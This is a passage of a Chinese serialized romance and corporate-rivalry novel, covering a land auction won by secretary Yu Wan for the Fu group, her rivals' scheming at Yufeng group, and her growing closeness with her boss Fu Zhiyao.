虞晚明白傅知尧的意思,点点头:“我明白,谢谢老板指点。”
拍卖地皮,谁会嫌弃金额高,这0.8亿大概就是在卡四年回本期的极限点,那么现在,虞晚和她的团队应该考虑的问题就是如何压缩回本周期,尽早实现盈利。
在办公室里等待了将近一个半小时的小伙伴们忽然听到会议室门推开的声音,纷纷停下手中的工作抬头。
虞晚率先抱着电脑走出来,见众人直勾勾盯着自己,眼底满是惶惶,抬了下肩膀,口吻轻松:“怎么,大家对自己做的方案这么不自信吗?”
一句话,像有双手托着大家高悬的心轻轻落地。
啪啪啪。
不知是谁先带头,掌声接连响起,连成一片,每个人脸上笑容也无比真切,毕竟熬了将近一周,虽说大家对方案十分满意,但能否获得肯定就是傅总一句话的事,大家在紧张的同时也做好了再次熬夜写方案的准备,此刻听到虞晚的声音,如闻天籁。
傅知尧端着拿铁,慢虞晚几步走出来,站到虞晚身边,掌声一瞬落下去,全员脊背挺直,表情肃穆。
傅知尧:“……”
只有虞晚一人还在鼓掌,她适时停下,说道:“这个掌声送给大家,我是第一次带领团队,非常感谢大家对我的信任,以及对彼此的信任,傅总在我旁边,‘新贸地皮没有拿下来’这种假设我不方便开口,但大家的实力不会因为一次项目折戟就消磨,所以,接下来的时间大家也不能松懈,在投标截止日前对项目方案进行深度细化,争取在之后的项目专项会议上发挥各位的特长,说服董事会股东。”
投资上百亿的项目,即便傅知尧是集团最大股东也不可能搞一言堂,这过程中的磨炼,足够虞晚和她的团队一点点领悟成长。
傅知尧在其他员工面前没有在虞晚面前那般放松,沉着张脸不苟言笑,等虞晚说完,他举了举手里的拿铁。
“手里有东西不方便鼓掌,我就用另一种形式代替,今天大家早点下班,吃饭K歌费用记在我的账上,可以带家属。”
半秒后有人反应过来。
“谢谢傅总!”
“谢谢傅总!”
“谢谢傅总!”
……
一声比一声喊得响亮,傅知尧颇有些不自在,偏头朝虞晚低声道:“麻烦虞秘书安排了,账单直接发给我,我私人转账。”
“好的老板。”
虞晚送傅知尧离开办公室,走到电梯门前叫住他,声音颇有些犹豫:“……老板,晚上您有时间吗?可以和我们一起吃。”
傅知尧微垂眼,望着虞晚,“虞秘书是在邀请我吗?”
虞晚沉默两秒,点头。
“所以,老板你有时间吗?”
“加五分。”
“什么?”傅知尧忽然开口,说的话让虞晚摸不着头脑,“老板,我不明白你的意思。”
傅知尧笑了笑,“不明白没关系,虞晚,晚上我还有其他合作要谈,没有时间赴约,再者,我如果去了其他人会不自在,谢谢你的邀请,虞晚,明天见。”
“明天见。”
电梯门缓缓合上,傅知尧看到虞晚慢半拍抬起手挥了挥。
像极了她学校附近那家好吃的牛肉面馆收银台上的那个招财猫。
第79章
新贸大厦地皮开标当日,虞晚代表傅氏出席,以11.6亿的价格拍下地皮。
原定超过21家参与竞拍的企业,在开标前缩减至13家,今日出席开标活动的企业甚至只有9家。
不过,出席企业数量并不会影响虞晚,在主持人宣布竞拍结果后,落落大方走上台,同招标方握手,坦然接受全方位摄像机的拍摄,闪光灯不断照在她脸上,虞晚全程保持温和的微笑。
这次新贸大厦的地皮竞拍,摒弃了传统的价高者得原则,将项目方案和投标方出价相结合,综合考虑,是在海市政府授意下进行的择优匹配。
即,地要卖,地卖完也要得到充分利用。
出价比傅氏高的企业有两家,一家是深耕地产开发的万象,出价11.8亿,另一家则是屿风。
屿风集团出价12亿,是最贴近招标方价格的企业。
虞晚后怕之余不由得庆幸傅知尧当时的提价,按照她和团队原定的10.2亿,在12亿这个数字面前,即便方案再好,胜算都要压一压。
后怕归后怕,虞晚面上没有显现丝毫,从台上下来,和煦地同在场其他几位企业代表握手,互相交换名片。
商场上没有永恒的敌人,虞晚不能因为拿下新贸地皮就目中无人,忽略其他几家企业发展的底蕴和规模,不骄不躁才能稳步前进。
简单的寒暄结束,虞晚带着范睿茜从开标活动现场离开。
范睿茜是团队成员,也是虞晚在升职主管后,由她亲自挑选的助理,工作能力不说多强,但看得懂脸色,行事规矩,心思细腻,团队内出现问题,范睿茜总是第一个察觉,私下找她协商该如何处理,在团队成员面前又十分稳重,在大家觉得压力大的时候能适当说些玩笑话调节氛围。
虞晚很喜欢她。
两人朝着地下停车场方向走,范睿茜按捺住激动,小声同虞晚聊自己方才的紧张。
“我都要吓死了,我还以为会在现场看到许多大老板,结果好多都是让自己助理来的,大老板不显山不露水的,好低调哦。”
虞晚笑:“我们不也是代表大老板来的?”
范睿茜想想也是,随即挺直胸膛:“但我们可是一个team,含金量要高一些!而且我们……”
范睿茜声音忽地停住,虞晚顺着她视线方向,看到了前方的陆屿森。
男人穿着尤为板正,定制黑色西服贴合其高挑的身形,胸前领带精致漂亮,即便是这样,仍旧压不住那股让人寒毛直竖的匪气,他阴恻恻盯着虞秘书,好似要将她拆吃入腹。
半晌,陆屿森终于张口。
“虞秘书好手段,从前是我小瞧了虞秘书,能让两个男人围着你打转,虞秘书又怎么会是个小人物,那就希望虞秘书能一直像今日这样风光,最好永远没有从高塔上跌落的那天。”
说这话时,陆屿森眼眸半弯,似笑非笑,森然可怖的眼神始终停留在虞晚身上,语气平直无起伏,比起祝福,更像是带着反讽的诅咒。
虞晚唇边弧度淡然,微微颔首应下:“承您吉言。”
比陆屿森繁杂话语攻击性更强的一句话,短短四个字,陆屿森感觉自己挥出的拳头好似打到棉花上,怒意在脑海中积蓄奔腾,几乎要化为实质从胸腔内喷出来。
余光扫到停车场角落两道壮实的人影,陆屿森不甘心地压下愤怒,冷笑一声,转身离开。
助理胡谦快步跟上陆屿森的步伐,上了车,在一片死寂中开口询问陆屿森:“陆总,接下来是回老宅还是……公司。”
新贸地皮没有拿下来,要么回老宅向病榻上的陆董汇报,要么回公司,开会与其他董事商量。
左右不是开香槟庆祝的时刻。
地下停车场内光线暗淡,陆屿森面部隐匿在阴影中,看得并不明确,助理只听到男人冷戾的声音。
“去恒华乐居找陆决风。”
“是。”
车子启动,驶离停车场。
恒华乐居正是如今陆随租住
的地方,普通的大平层公寓,面积将将两百平,够不上陆屿森现在居住平层面积的一半,每月房租两万三。
作为陆宗信的收养的孩子,外人似乎很难想象陆随至今名下都没有属于自己的房产,更别提股权,根本和陆随沾不上一点边,陆随有的,只是每月按时发放的十万元工资。
如果不是陆随还算争气,在学业和商业方面展现出卓越非凡的才能,陆宗信根本不可能点头让他进入屿风集团。
而陆随的确没有辜负他自己的能力,即便是从基层做起,也在四年内爬到了高管的位置,成为屿风的副总裁,辅佐陆屿森处理集团大小事务,说是辅佐,做的却全是陆屿森这位执行总裁该做的事情。
公司内部,大家都心照不宣地默认陆随是真正的执行总裁,重要决策和项目直接越过陆屿森询问陆随,根据陆随的指令行事。
以至于陆屿森长久处于看陆随不爽,但又没有合适的方式来威胁或者制衡陆随的状态。
因为陆随一无所有,从未拥有,又何惧失去。
上个月,陆随因病主动卸任副总裁一职时,陆屿森心中喜悦是胜过惶恐的,陆随一走,意味着本该属于他的职权会重新回来。
外加陆随和对头公司秘书虞晚的来往,陆屿森便有了正当理由,无视老头子的不满,假模假样给陆随办了个停职,大方往陆随卡里打了一百万,让对方好好休息养病。
给陆随办停职的理由也很简单,这样陆随回公司的时间就被他拿捏在手中,陆随什么时候回公司,能不能回公司,还不是他一句话的事情。
但也是陆随离开公司后,陆屿森才切实体会到了一个权力快被架空的总裁的处境。
公司里的高管和董事们没有一个省油的灯,每提出一个决策,几轮会议开个没完没了,始终有人在反对,能持续说半个小时不重样的反对理由,彷佛提出这个决策的他是什么十恶不赦的人,再不就是拿着一些意义不明的项目让他投资批钱,把他当傻子戏弄。
狠狠发了一顿火,开除了几个高管,这才勉强将自己的地位焊牢。
本以为能稳坐高位,结果先前他经手过的项目接连出问题,让陆屿森忙到焦头烂额,就连原本想去找虞晚麻烦的想法也不得不搁置。
一块地而已,远没有屿风集团的未来发展和口碑重要。
助理胡谦坐在副驾驶上,从后视镜看了眼陆屿森,给陆随发去了一条消息,退出短信页面,热点新闻实时跳出来。
说的是最近屿风集团旗下Cekai西卡智能手表的事情。
起因是一位七岁儿童佩戴的西卡手表在半夜起火自燃,孩子左手皮肤大面积烧伤,父母同客服沟通,客服推卸责任各种找理由,不肯承担医药费,最后被父母闹到网上,逼得屿风集团的公关不得不出面,事情得到妥善解决。
如果说舆论到这里还算处于可控状态,等到市监局介入调查后,有关西卡智能手表的锂电池问题便闹得一发不可收拾。
市监局明确表示某卡智能手表所使用的锂电池未获得相关质检认证,要求屿风集团召回问题产品。
舆论便是在这个时候炸了锅,西卡品牌产品以及屿风旗下其他电子类产品销量和口碑下跌,公司还要被迫吞下产品召回的损失。
即便屿风一直在澄清,不是西卡智能手表的问题,是提供锂电池电芯外包工厂的偷工减料导致的,但网上消息多而杂,浑水摸鱼发布不实信息的媒体层出不穷,屿风集团这两天彻底陷入舆论风波。
‘别让智能手表成为微型炸弹’
‘屿风集团股价连续下跌30%,短时间内市值蒸发超120亿元’
‘西卡问题产品召回背后是国产品牌需要走的漫长自主研发路’
‘自燃手表背后,傅氏或将成为最大的赢家’
……
傅知尧滑动的手指顿住,点开最后一条新闻。
新闻内容并不复杂,在提及屿风旗下Cekai西卡智能手表自燃事件的前后起因后,箭头直指傅氏旗下的银讯,作为同品类的竞争公司,在西卡销量下跌时,凭借过硬的产品质量以及良好的售后服务,在屿风市值波动时销量成直线上涨,吃了一波‘人血馒头’。
傅知尧眼眸骤然冷下来。
人血馒头?
当年他父母车祸去世时这些媒体是怎么说的——
‘傅氏失去主心骨,恐难再辉煌’
陆宗信趁机抢走傅氏合作项目,离间傅氏高管和傅氏关系时这些媒体怎么不说吃人血馒头。
现在这一切,不过是屿风集团咎由自取。
Cekai西卡产品的质量问题并不在陆随和傅知尧的计划内,但这背后的推波助澜,的确有傅氏的手笔。
毕竟,小麻烦不会压倒一个人,大麻烦也不会让人想要寻死,但一个接一个的麻烦会让人心力交瘁,从而失去理智,做出错误决定。
这便是陆随想要的结果。
嗡的一声,掌心中的手机震动了一下,将傅知尧从沉重的思绪中拉出来,屏幕上方显示是虞晚发来消息。
虞晚:【老板,11.6亿,拿下了!】
虞晚:【图片jpg.】
虞晚:【我和范助理正在回公司的路上,稍后向您汇报开标现场情况,先向您报个喜。】
即便是用打字的形式,傅知尧仍能感知到虞晚字里行间的兴奋,唇角弧度不自觉上扬,眼眸也弯了起来,眼眸中的寒意一点点消退。
他回道:【好,我知道了,路上注意安全。】
第80章
恒华乐居位置并不偏僻,毗邻海定区金融中心,距离屿风集团只有不到半小时车程,乘坐地铁或许只需要十五分钟。
好在陆宗信还没残忍到让一个集团的副总裁每日乘坐地铁去上班,家里车库落灰的几辆车让陆随随意开。
陆随只开走了两辆,一辆是见虞晚时开的雷克萨斯,那是家里采买的大厨退休的车辆,大厨只开了两年就嫌弃笨重,一辆是去公司开的卡宴,那是陆屿森认为老土落后的车。
21层高空公寓中,陆随坐在沙发上,眸光平静地看着电视屏幕中从容走上台的虞晚,她穿着卡其色翻领系带衬衫,下装是同色系的女士西装裤,走动时隐隐露出小高跟上方削瘦冷白的脚腕,整个人干练飒爽,和最初重逢时见到的那个内敛安静的她不太像。
一直没有变过的大概是虞晚身上那股澄澈宁和的气场,会让人不自觉产生信任,交付真心。
搁置在茶几上的手机振动了一下,陆随面无表情关掉电视机,起身,去餐厅那边给自己泡了杯茉莉花茶。
淡淡的茉莉香气混合着绿茶的清香瞬间充盈整个公寓。
陆随不紧不慢坐下来,无视手机上陆宗信持续不断打来的电话,在嗡嗡响的震动声中喝了一口热茶,等待陆屿森上门。
二十分钟后,公寓门被敲响。
察觉到门没关,陆屿森砰的一下拉开门,阴沉着脸走到陆随面前,一言不发盯着坐在沙发上的陆随。
“新贸的地皮被傅氏拿下了。”陆屿森说。
陆随将另一杯茶推到陆屿森面前,举止自然平常:“喝茶。”
陆屿森后槽牙紧了紧,还是坐下来,往沙发后一靠,翘起一双长腿,努力放平心态,道:“说好的你来处理虞晚那边,我如此信任你,新贸地皮还是被傅氏拿下了,你停职的这段时间究竟在做些什么,嗯?我亲爱的弟弟。”
最后几个字,陆屿森咬字格外重。
陆随掀起薄薄的眼皮,视线落在陆屿森身上,“是吗?恭喜傅氏了,不过,纠正一下停职的说法,我已经向公司递交了辞呈,接下来不会参与任何集团事务,也不会再回到公司,所以你遇到的问题,我可能帮不上忙,更何况……,我什么时候答应过你一定将新贸的地皮拿到手。”
陆屿森长腿一踹
,玻璃茶几在大理石地砖上摩擦,传来刺耳的声音,茶杯中琥珀色茶水溢出来,淌了一地。
陆屿森眼神阴鸷地盯着陆随:“你就是我们陆家养的一条狗,难不成以为自己穿上衣服就成了人?!”
半晌,陆屿森语气又变得柔和:“陆随,你在屿风没有股份,你也知道在陆宗信面前你掀不起任何波澜,没有我,你要如何实现你的雄心壮志,要如何与傅知尧对抗,抢回你心爱的小青梅?”
陆屿森继续说:“我知道你恨陆家,但你已经这么过了十八年,再忍耐一时就能迎来属于你的光明了,你想要钱,可以,你想要虞晚,可以。”
陆随沉默着没说话。
是啊,没有陆家,他不过是个在孤儿院长大的普通孩子,而不是被谎言欺骗,以为被陆家领养就有能力将虞晚从孤儿院带出来,被带到陆家的结果是被打被关小黑屋被囚禁,跪在地上磕头求饶说再也不会偷偷离开。
他忍耐十八年,难不成只是为了等来陆家的道歉,放下仇恨,和和美美过完余生?
不,他要陆家人一一偿还,加倍偿还,生不如死,只要活着就终生无法翻身。
再抬眸,陆随的表情一如既往淡然:“合作?之前你让人跟踪虞晚的事情怎么算。”
陆屿森知道这是陆随给的台阶,他笑了,意味深长看着陆随。
“别生气,估计是老头子派来的,你知道的,他对你的掌控欲一向很强,也不知是不是报应,老头子最近中风现象严重,偏瘫恐怕是治不好了,谁让老头子不注意饮食呢,虽然老头子遗嘱早早就立了,不过呢,我暂时还不想老头子死得太快,我亲爱的弟弟,你能理解吧。”
陆随不为所动:“我已经辞职了,有心无力。”
陆屿森在僵持的对视中后知后觉意识到,陆随已经不是当初那个任劳任怨的陆随,现在的陆随是不见兔子不撒鹰。
陆屿森必须拿出诚意来。
“2%的股份,如何?”
“5%。”
陆屿森蹙眉。
他现在手里不过13.6%的股份,其中10%还是他成人礼当天陆宗信给的,一旦划分5%给陆随,他手里就只剩8.6%的股份,而他那个颇有本事的继母,手里的股份是7.2%。
将股份分给陆随后,他和继母曾文芝就只差1.4%的股份。
而他现在还不确定老爷子遗嘱的内容,这太危险了。
屋内氛围陷入僵滞状态,陆随起身,无视陆屿森的目光,端起茶几上泼洒剩一半的茶杯,若无其事地走去餐厅岛台前,重新给自己倒了一杯水。
终于,在陆随杯子里的水喝到剩一半时,陆屿森有了动作,他站起身,走到陆随面前。
“行,5%就5%。”陆屿森盯着陆随,声音硬厉:“我要你在一周内解决Cekai产生的问题。”
“可以。”
从陆随公寓离开,陆屿森伪装的平静面孔彻底破裂,他猛地抬脚踹向面前的豪车,接连几声砰砰砰响,直到车门凹进去一块才停止。
助理胡谦站在一旁听陆屿森无能的发泄。
“妈的,上天至少给我一副好脑子!”
的确,但凡陆屿森在经商上有天赋,陆宗信也不会处处打压、提防陆随,也不至于在明知道自己身体不行的情况下仍不肯提前公开遗嘱。
这一切的一切都是为了陆屿森。
可惜陆屿森太急切,生怕到嘴的肉落到其他人手里。
陆屿森上了车,扯开胸前的领带扔到一边,沉着脸给宋楚楚拨去电话。
接到陆屿森电话前,宋楚楚正和于荷雅坐在别墅二楼客厅内看电视上实时转播的新贸大厦开标现场。
直播镜头毫无美颜效果可言,直挺挺怼上虞晚的脸,但虞晚脸型好,柔顺微卷的长发整齐披散在肩后,半点显不凌乱,高清镜头前,化着淡妆的皮肤皮肤不见一丝瑕疵,唇色自然红润,分明不是一眼惊艳的长相,却格外耐看,让人不由自主将目光落在她身上。
面对记者的访问,虞晚举止也并不局促,话语轻柔有力:“谢谢大家的关心,还请大家多期待项目后续进程,傅氏官网会同步……”
宋楚楚不甘心地咬着唇,盯着电视屏幕内的虞晚。
她不明白,为什么同样是做项目,虞晚可以这样光鲜亮丽站在台上接受媒体采访,她跑项目那段时间却累到灰头土脸根本没工夫打扮。
过于鲜明的对比让宋楚楚心头充斥着说不清的郁闷。
转过头,看到一脸凝重的于荷雅,她目光同样落在虞晚身上,眸中情绪格外复杂。
“妈妈?妈妈?”
宋楚楚喊了于荷雅好几声,最后用力拉了下她的衣角,于荷雅眼眸动了动,心不在焉地回应宋楚楚:“怎么了,楚楚。”
宋楚楚指着屏幕里的虞晚:“妈妈,你是不是也想要这样优秀的女儿,虞晚和我年纪一样大,也是傅氏集团的实习生,后来进入总裁办成了傅总的秘书,而现在,她居然能独立负责几百亿的大项目,真的好厉害,是不是?”
于荷雅头一次回避了宋楚楚的目光,“说什么呢,你是我唯一的女儿,妈妈不会拿你和其他人比较的。”
宋楚楚心中有所触动,正要开口说出虞晚和陆决风的关系,茶几上手机不断地振动。
“楚楚,有人给你打电话。”于荷雅尊重宋楚楚隐私,偏过头,并没有看她的来电显示。
话题就这么被带过,宋楚楚拿起手机一看,是陆屿森打来的。
也是,屿风集团竞标失败,陆屿森自然是最着急的那个人。
她起身,去西侧小房间内接电话,“朋友打来的,妈妈,我先去接个电话。”
电话刚接通,对面传来陆屿森的怒骂声:“蠢货!你当初不是告诉我12亿是最稳妥的数额吗?傅氏用11.6亿就拿下了!”
宋楚楚简直想骂人。
她费劲吧啦通过宋正雄那边的关系要来了新贸大厦招标金额,将其提前告知了陆屿森,现在反倒被陆屿森倒打一耙,宋楚楚可不背这个锅。
宋楚楚:“陆屿森,我不是你爹,不欠你什么,我已经冒着泄密的风险告诉你投标额,是你自己不争气,项目内容比不过别人,还修建度假山庄,你离家出走的脑子现在还没回来吗?决风哥离开屿风我都是最后一个知道的!”
而且宋楚楚很明确,自己帮助陆屿森是为了陆决风不是为了陆家,如果陆屿森不能帮助她和决风哥在一起,她何必浪费时间和精力。
再看看陆屿森做了些什么?
陆决风上个月退出了屿风集团的管理工作,宋楚楚甚至是最后一个知道的,她没有去质问陆屿森算她大气。
陆屿森也明白自己是太冲,语气缓和了几分,“于阿姨难不成没告诉你陆决风离开公司的事?”
“你说我妈妈?”宋楚楚皱眉,口吻冷漠,“我不想麻烦她,托你的福,她最近一直在处理我爸私生子的事情。”
虽然于荷雅并不直接参与公司事务,但并不意味她没有自己的依仗,宋正雄早些年在海外设置了信托基金,通过海外设立的离岸公司,合理地避税、转移财务。
于荷雅就是宋正雄的第二只手。
宋楚楚知道这些,自然是于荷雅告诉她的,为的就是让她有底气,不必被私生子的存在烦扰心神。
宋楚楚:“我们刚坐在一起看开标现场,她还不知道虞晚是决风哥喜欢的人,既然决风哥以后不在屿风了,我们也没必要再来往了,我会让我妈妈帮忙。”
有于荷雅给的自信,宋楚楚对虞晚的芥蒂没有之前那么大,从外貌和家庭背景上讲,她胜虞晚太多,计较虞晚的存在显得她小心眼。
另一方面,她看出虞晚对决风哥没有喜欢或者爱意。
否则,在知道决风哥的心理疾病后虞晚就该辞去傅氏的工作,陪在决风哥身边,又或者像她这样多多关心决风哥,总之不是继续留在傅氏,还刻意和屿风集团作对,抢走新
贸大厦的地皮。
虞晚对陆决风即便有喜欢也不是真正的喜欢,这代表她还有机会。
陆决风离开屿风也没关系,她可以让妈妈安排决风哥来她们海度集团上班,宋正雄年纪也大了,需要一个接班人,陆决风无疑是最合适的。
宋楚楚比任何人都了解陆决风的能力,他可以帮她们母女俩解决私生子的问题,还能让海度继续长虹。
一举三得。
陆屿森没来得及开口,嘟的一声,对面挂断了电话。
盯着漆黑的手机屏幕,陆屿森火气一下蹿上来,正要将手机砸出去,忽然意识到什么,顿生疑心。
于荷雅居然不知道虞晚是谁?
这怎么可能。
如果是其他人,陆屿森或许还会信一信,但对方是于荷雅,一个从小到大将女儿捧在手掌心,不肯让女儿吃任何苦,私下会帮女儿摆平一切障碍的人。
她在看到自己女儿为情所困时怎么可能忍住不去调查。
既然会去调查,查到最后必然会揪出虞晚这个人,但为什么会不认识虞晚呢?
是装作不认识,还是真不认识?
陆屿森眯了眯眼,脑子里闪过几个人的关系,眸色渐深。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
80-90
第81章
虞晚带着范睿茜回到公司,在地下停车场收到蔡杨的消息。
蔡秘书:【虞晚,你是不是快到公司了?你们待会儿从公司正门走,地下停车场的电梯出了点问题,正在紧急检修。】
虞晚不疑有他,回复蔡秘书一个收到,停好车,和范睿茜绕路从公司正大门进入。
两人脚步刚踏在大厅地砖上,就被热烈的掌声淹没。
虞晚诧异地望去。
原本空旷开阔的大厅内井然有序站了两侧队伍。
有她熟悉的孙柠、赖言栩,有总裁办的蔡秘书和尚秘书,有她的项目团队成员,也有她打过交道的一些部门员工。
这些人拍着手,看向她的目光满是激动和喜悦。
队伍尽头,站着公司的几位高管,傅知尧一身深灰色西装,静静立在人群中央,俊朗得有些显眼。
虞晚笑了笑,她大概明白为什么蔡秘书会让她走公司正门,这是专门为她准备的小型欢迎仪式。
庆祝她的凯旋。
虞晚朝两侧拍手鼓掌的大家微笑颔首,“谢谢大家。”
走到队伍末端,几位高管纷纷伸手祝贺她。
“虞主管,恭喜你和你的团队了,我很看好你们这个项目,期待你们的后续执行。”
“恭喜,之后要辛苦一年多,有问题直接说。”
“小虞啊,我就知道你不是池中之物,厉害厉害,继续加油,傅氏就是要靠你们这些年轻血脉,我们都老了啊。”
“虞主管,有需要帮忙的地方,我们部门会积极配合。”
……
虞晚一一同对方握手感谢,就连傅知尧的新秘书徐敬康也握了个手,最后就只剩下傅知尧一个人。
傅知尧下意识伸出手,虞晚抬手,指尖相触的瞬间忽然被他收回,虞晚只来得及感受到对方微凉的肌肤,随后,抓到了一手空气。
虞晚眼睫轻轻一颤,抬眸,对上傅知尧视线。
傅知尧努力压下狂躁的心跳。
不知为何,要与虞晚握手时,他紧张到掌心不断出汗,因此在相触的前一秒,他不得不抽回手,傅知尧害怕虞晚握到自己满手心的汗水,那样也太丢人了。
傅知尧手掌握拳放到身侧,若无其事开口:“恭喜虞主管。”
简简单单五个字,在前面那些高管祝贺的话语面前显得如此寡淡平庸。
说不失落太假了,虞晚需要肯定,也需要傅知尧的肯定。
毕竟当初就是傅知尧第一个点头,不顾众人明里暗里的反对让她主导项目,在今日之前,虞晚和团队收到的反馈少有正向,每当虞晚开始怀疑起自我时,就会想到傅知尧。
大老板都不怕亏钱地相信她,她有什么好自我怀疑。
此刻看到傅知尧伸出又收回的手,出于小小的报复心理,虞晚弯了弯唇,疏冷又客气地道:“谢谢傅总。”
傅知尧:“……”
拿下新贸的地皮自然是值得庆祝的,虞晚做东,请团队内的人吃了一顿人均一千的豪华大餐,犒劳团队成员这一个多月的辛劳。
饭桌上,大家卸去工作时的严肃和缜密,天南海北无所顾忌地聊天——
购物节马上要到了,该囤卫生纸、洗衣液等日用品,好看的衣服也在打折,要不要买几件奖励自己这段时间的忙碌,公司楼下两家咖啡厅,到底哪家的咖啡更胜一筹。
聊着聊着,说起国内某个咖啡品牌因财务造假上市失败并被处罚款的事情,列举该公司在品牌营销和口碑方面值得借鉴和学习的部分,让虞晚一时分不清自己到底是在公司还是在餐厅。
众人聊天的兴致在酒精的刺激下高涨,话题最后落到虞晚身上,开始八卦起那个每周送她99朵花的神秘人。
“每周99朵花,每周花束样子不重复,又壕又浪漫,虞晚姐,你真的不能告诉我们是谁吗?男朋友?追求者?爱而不得者?”
“打个赌,男朋友或者追求者!绝对不是爱而不得,否则虞晚姐早就把那些花扔掉了!”
“额,这里我要先向虞晚姐道个歉,虞晚姐,我上周帮你拿花束的时候,不小心看到了里面小卡片的内容……”
“什么什么?快点说,在虞晚姐说no之前告诉我们!”
一群人开始起哄,虞晚不紧不慢喝着酒,脸上笑容浅淡,听他们聊自己。
那位女生见虞晚没有阻止,清清嗓子:“好的,虞晚姐没有反对,那我就说了,不过我觉得大家可能会失望,因为卡片内容很简单。”
“快说!不准卖关子!”
“好好好,我说我说,就是一句话‘11月8号,天气晴,降温了,记得保暖’,没啦,真没啦,就是这么简单!我看一眼就记住了!”
众人齐刷刷将目光投向虞晚。
虞晚放下酒杯,耸了耸肩,反问道:“你们希望卡片内容是什么?”
范睿茜撅了撅嘴,“倒不是我们希望有什么劲爆内容,只是太平淡了,这种口吻有点像是……嗯?……老夫老妻?”
虞晚当即呛了酒,脸蛋也跟着被染红,双眸水盈盈的,好不容易缓过来,虞晚对她说:“茜茜,你想象力太丰富了。”
范睿茜原本还在为自己的形容惊奇,看见虞晚咳嗽,连忙递了张纸巾过去,看到虞晚微红的眼睑和莹润的眼眸,可耻地心跳加速。
她忽然十分庆幸自己当初听说虞秘书需要助理时主动报名,选择跟在虞晚身后学习。
虞晚是个相当耐心温柔的人,会认真听完她的表述,给予适当的引导,从不摆高架子,每日都是最早来办公室,除了手头上的新贸项目,一直在持续学习新知识,对待团队内成员态度公正平等,不会过多偏颇某位人。
难得的是,虞晚在这样的情况下还能保持沉稳和威严。
要知道一个团队内总有那么一两个刺头,如果领导者只会一味笑脸相迎是会被蹬鼻子上脸的。
虞晚在最初的见面会上就表现了对刺头的打压和漠视,可以说在最初就树立起了一个冷面主管的形象,以至于后面,即便虞晚保持微笑,其他人也会自动在心底掂量掂量,什么话该说什么话不该说。
这都是值得她学习的地方!
范睿茜在心底一直将虞晚当做导师和明灯一般的角色,从未认真打量过虞晚的外貌,但现在,她愣愣看着虞晚,忽然觉得自己忽略了一点,那就是虞晚姐长得也很漂亮啊!
不是第一眼就冲击人视觉的明艳型美女,比起回眸一笑百媚生的夺目娇俏,虞晚更像是江南的烟雨,像是雨后顺着墨色屋檐滴落的水珠,轻轻敲击在青石板上,让人不断品味那抹余韵。
聚餐结束,虞晚清点喝酒和没喝酒的成员。
该送上出租车的送上出租车,开了车没喝酒的能顺路送一个人就送一个人,安排好一切,只
剩下范睿茜和虞晚。
“茜茜,你待会儿要和我一起吗。”虞晚问她,“我准备叫代驾,你家是不是住南清路那边,我让司机师傅先把你送回家。”
范睿茜还沉浸在方才突如其来的害羞情绪里,不太敢看虞晚的脸,摆摆手:“没事啦虞晚姐,我给我爸爸发了消息,他待会儿来接我,我还想问你喝了酒要怎么把车开回去呢。”
虞晚是开车来的。
自从她上个月驾照拿到手,傅知尧立马给她安排上了一辆车,银灰色的凯迪拉克,落地将近四十万的价格,对于傅知尧来说可能已经是平价,但对虞晚来说,起步就这么高价格的车,虞晚害怕自己之后买车会产生强烈的落差。
看着范睿茜上车,虞晚朝她挥挥手,等车子驶离从包里拿出手机,她今天换了个简约款的细链条黑包,银色的链条绕了两圈挂在右肩。
提着包包,刚解锁手机屏幕,身后传来一道低沉熟悉的嗓音。
“虞晚。”
虞晚转过身。
夜色朦胧,华灯初上,海市显现出与白天迥异的一面,靠近江滩的建筑风格偏哥特式,巴洛克浮雕在璀璨的灯火映照下华丽精致,与远处沉郁的深蓝色天空形成对比,像一场纸醉金迷的梦境。
傅知尧就站在梦境中央,朝她踱步走来。
深灰色西装贴合身材曲线,没有丝毫累赘的地方,气场优雅成熟,挺括的版型很好地衬托出男人优越笔挺的身形,宽阔平直的肩往下是劲瘦的腰,被束缚在衬衫下的肌肉走势自然舒展,充斥着力量感。
一如初见惊艳。
“……老板,你怎么在这里?”虞晚张口,嗓音沾了点醉酒的哑意。
傅知尧轻笑出声,“我猜,虞主管现在可能缺一位司机,所以我出现了。”
两人面对面站着,中间距离可以塞下三个虞晚,秋季晚风温柔地撩起虞晚乌黑的长发,夜里温度低,虞晚穿了件烟灰色风衣,眉眼清隽干净,像是山涧的一汪泉水。
她控制不住地弯唇,泉水开始泛起春色的涟漪,话语却坦率:“我以为老板会像白天那样避着我。”
傅知尧嗓子有些干,“我怎么就避着你了?”
虞晚认真地说:“上午,我回公司的时候,老板你伸手不是想和我握手吗,为什么又收回去了?”
说话的时候,虞晚抬了抬下巴,不知是不是喝醉了,语调微微上扬,像有人拿着个小钩子在傅知尧心头挠。
傅知尧插在西裤口袋里的手在颤抖,那种过电般的兴奋感沿着尾椎骨酥酥麻麻一点点地上移,最后在脑袋里炸开了花。
“加十分。”
傅知尧说了这么一句莫名其妙的话。
不等虞晚发出困惑,傅知尧解答了虞晚上一个问题:“虞晚,如果说握手代表一种认可,我比他们任何一个人都要信任你,他们需要靠握手表达信任,而我不需要。”
第82章
在傅知尧看来,虞晚小小年纪未免太沉稳低调。
拿下了新贸地皮却丝毫不倨傲狂妄,虽说喜怒不形于色值得肯定,但傅知尧觉得虞晚稍微骄傲点也没关系。
比起现在这样的游刃有余,傅知尧更喜欢虞晚之前看到合同金额那栏数字骤然瞪大的眼睛,以及看到工资条奖金那栏时怎么压都压不下去的嘴角。
给他一种直观简单的快乐。
开车送虞晚回家的路上,两人没再聊天。
虞晚喝了些酒,不至于晕眩,但出奇的困,上了车,系好安全带,靠在车座上倒头就睡。
等傅知尧调整好座椅位置,抬头就对上虞晚恬静的侧颜。
鹅蛋脸脸型饱满,下颚线清晰干净,闭眼的时候浓黑的眼睫毛格外明显,车窗外地下停车场微弱的灯光打进来,在眼下覆上浅浅一道阴影。
嗯,黑眼圈重了些。
傅知尧动作放轻了些,生怕吵醒虞晚。
傅知尧不是第一次坐虞晚的车,但这是他第一次开她的车,这辆车是他亲自给虞晚选的,深灰色,车身线条流畅简约,偏通勤和商务的类型,保险手续齐全,价格不超五十万,虞晚开起来不会有太大的负担。
虞晚拿到驾照的当天,傅知尧就将车钥匙交到了虞晚手中。
顺理成章的,虞晚邀请他试坐,两人绕着海市的江滩逛了一圈夜景,最后被虞晚安稳送回家。
傅知尧发誓,自己开始是想试试虞晚的开车水平。
毕竟上路和驾校里学习不一样,路口的红绿灯,各式各样的警示标识,还有些不遵守交通规则把大马路当家里院子开的司机,随时会从一旁绿化带冲上马路的行人……
尤其是虞晚选择下班高峰期,太危险了。
